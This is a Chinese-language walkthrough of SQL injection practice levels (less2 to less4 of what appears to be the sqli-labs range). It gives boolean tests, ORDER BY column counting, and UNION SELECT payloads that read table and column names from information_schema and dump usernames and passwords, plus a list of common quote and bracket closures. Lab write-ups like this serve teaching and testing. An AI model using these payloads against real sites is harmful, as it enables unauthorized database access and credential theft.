less2(数字型)
一、判断注入类型
输入: ?id=1 and 1=1–+ 看回显
回显正常
输入:?id=1 and 1=2–+
回显错误
判断是sql注入是~数字型
二、进行注入
输入:?id=1 order by 3–+
显示正常
输入:?id=1 order by 4–+
显示错误
判断有3列
三、union注入
输入:?id=-1 union select 1,2,3–+
输入:?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(database())–+
查出库名,表名
输入: ?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ )–+
查出users表中的列名
输入:?id=-1 union select 1,2,(select group_concat(username,’~’,password) from users )–+
得到字段
less3(括号闭合)
一、判断注入类型
输入:?id=1 and 1=1 和 ?id=1 and 1=2.
都正常显示,没有报错,不是数字型
输入:?id=1’ and ‘1’='1没有报错
输入:?id=1’ and ‘1’=‘2
显示报错,判断是字符型注入
二、判断列数
输入:?id=1’ order by --+
提示语法错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by – ‘) LIMIT 0,1’ at line 1
发现错误提示多了个括号
试着用括号闭合
输入:?id=1’) order by 3–+
加入’)‘闭合前面的’(’
显示成功!
查看源码:
SELECT * FROM users WHERE id=(’$id’) LIMIT 0,1
确实使用了括号
三、进行注入
输入:?id=-1’) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(database())–+
得到库名,表名.
输入:?id=-1’) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)–+
得到列名
输入:?id=-1’) union select 1,2,(select group_concat(username,’~’,password) from users)–+
注入成功
less4(双引号"闭合)
输入:
?id=1 and 1=1
?id=1 and 1=2
?id=1’ and ‘1’=‘1
?id=1’ and ‘1’=‘2
都显示回显正常
输入:’ (单引号)
显示错误,但没有报错语句
如果是 '(单引号)闭合的话,就会产生报错语句
这里猜测用的其他方式的闭合
试着输入"(双引号)
果然,保所语句显示出"闭合
注入方式和上面一样
-
总结:
-
1.对于sql注入靶场,这种基础型的。不需要把数据库的所有数据挨个找出来。关键点在于闭合sql语句.
-
2常用闭合语句:
?id=1’–+
?id=1–+
?id=1’)–+
?id=1’))–+
mysql的"有点特殊,一般再php写的很少使用,好像是直接把php代码中的sql语句的字符串给闭合了,而不是闭合查询语句。 -
3.大部分要触发sql的报错,根据报错信息猜测sql查询语句,报错内容常用单引号引起来。